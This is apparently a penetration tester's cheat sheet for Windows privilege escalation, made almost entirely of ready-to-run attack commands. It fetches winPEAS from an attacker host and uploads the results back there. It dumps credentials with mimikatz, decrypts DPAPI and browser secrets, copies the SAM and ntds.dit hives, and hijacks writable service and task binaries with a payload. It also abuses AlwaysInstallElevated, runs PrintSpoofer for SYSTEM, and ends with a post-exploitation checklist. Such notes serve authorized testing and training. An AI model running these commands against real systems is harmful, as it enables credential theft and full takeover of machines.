↓ Skip to main content

Windows privilege escalation

winPEAS collection and parsing
#

Primary workflow:

  • download winPEASx64.exe
  • run it to a log file
  • upload the raw output back to Kali
  • parse it there if needed

Download and run:

$exe = Join-Path $wd 'winPEASx64.exe'
$out = Join-Path $wd 'winpeas.out'
Invoke-WebRequest -UseBasicParsing -Uri "http://$LHOST/winPEASx64.exe" -OutFile $exe
& $exe log=$out
Invoke-WebRequest -UseBasicParsing -Method POST -InFile $out -Uri "http://$LHOST/upload?name=winpeas.out"

Fallback download:

mkdir C:\Windows\Temp\working
certutil -urlcache -split -f http://%LHOST%/winPEASx64.exe C:\Windows\Temp\working\winPEASx64.exe
C:\Windows\Temp\working\winPEASx64.exe log=C:\Windows\Temp\working\winpeas.out

If SMB staging already works:

net use Z: \\%LHOST%\share /user:user pass
mkdir C:\Windows\Temp\working
copy Z:\uploads\winPEASx64.exe C:\Windows\Temp\working\winPEASx64.exe
C:\Windows\Temp\working\winPEASx64.exe log=C:\Windows\Temp\working\winpeas.out

Parsers:

Run PrivescCheck
#

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

Show current user and privileges
#

whoami /all

List local admins
#

net localgroup Administrators

Show network and local-only services
#

ipconfig /all
route print
netstat -ano

Find PSReadLine history
#

Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -Recurse -ErrorAction SilentlyContinue

Check autologon and saved creds
#

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
cmdkey /list

Find Credential Manager and DPAPI artifacts
#

Get-ChildItem -Path C:\Users\*\AppData\Local\Microsoft\Credentials -Force -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Credentials -Force -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\*\AppData\Local\Microsoft\Protect -Force -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Protect -Force -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login* -Force -ErrorAction SilentlyContinue

Decrypt Credential Manager secrets
#

User-scope blobs:

SharpDPAPI.exe credentials /unprotect

Machine-scope blobs with CRYPTPROTECT_SYSTEM:

SharpDPAPI.exe machinecredentials

Only if the automated path fails and the blob is still worth forcing:

.\mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob>" "exit"

List installed software
#

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName

List processes
#

Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine

--Filter "ProcessId = 1234"

Search for useful files
#

Get-ChildItem -Path C:\Users -Include *.txt,*.ini,*.cfg,*.xml,*.kdbx,*.exe,*.zip -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.db,*.sqlite,*.sql -Recurse -ErrorAction SilentlyContinue

Check VNC creds in registry
#

reg query HKLM\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM\SOFTWARE\TightVNC\Server

Mimikatz logonpasswords
#

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > logonpasswords.txt

Dump cached credentials and SAM
#

.\mimikatz.exe "privilege::debug" "lsadump::cache" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

List services with paths
#

wmic service get name,displayname,pathname,startmode

Find unquoted service paths
#

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

Find modifiable service files with PowerUp
#

. .\PowerUp.ps1; Get-ModifiableServiceFile

Validate service binary permissions
#

sc qc <service_name>
icacls "C:\path\to\service.exe"
accesschk.exe -wvu "C:\path\to\service.exe"

Validate service directory permissions
#

icacls "C:\path\to"
accesschk.exe -wvdq "C:\path\to"

Abuse a writable service binary
#

copy C:\Temp\payload.exe "C:\path\to\service.exe"
sc stop <service_name>
sc start <service_name>

List scheduled tasks
#

schtasks /query /fo LIST /v

Extract task command path
#

schtasks /query /fo LIST /v | findstr /B /C:"Task To Run"

Validate task binary permissions
#

icacls "C:\path\to\task.exe"
accesschk.exe -wvu "C:\path\to\task.exe"

Abuse a writable task binary
#

copy C:\Temp\payload.exe "C:\path\to\task.exe"
schtasks /run /tn "<task name>"

Check AlwaysInstallElevated
#

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Abuse AlwaysInstallElevated
#

msiexec /quiet /qn /i evil.msi

Check SeBackup / SeRestore privilege
#

whoami /priv

Save SAM and SYSTEM with SeBackupPrivilege
#

reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM

Copy protected files with robocopy backup mode
#

robocopy /b C:\Windows\NTDS C:\Temp ntds.dit
robocopy /b C:\Windows\System32\config C:\Temp SAM SYSTEM SECURITY

Use a potato if SeImpersonatePrivilege is present
#

.\PrintSpoofer64.exe -i -c "cmd"

Quick Jenkins triage
#

Get-ChildItem -Path C:\Users\*\AppData\Local\Jenkins\.jenkins -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ProgramData\Jenkins -Recurse -ErrorAction SilentlyContinue

Jenkins files worth pulling
#

  • users\*\config.xml
  • credentials.xml
  • secrets\
  • jobs\*\config.xml
  • jobs\*\builds\
  • workspace\
  • nodes\

Post-exploitation after admin or SYSTEM
#

Do this before pivoting:

  • read Mimikatz output
  • read all PSReadLine history
  • search for unusual files, DB files, configs, saved creds
  • crack archives and inspect the contents, not just the filenames
  • if a service is localhost-only, expose it now
  • pull Credential Manager / DPAPI artifacts while you still have context
  • check ipconfig /all, netstat -ano, arp -a
  • if domain joined, rerun AD enumeration from this host
  • test every found password/hash everywhere

Resources
#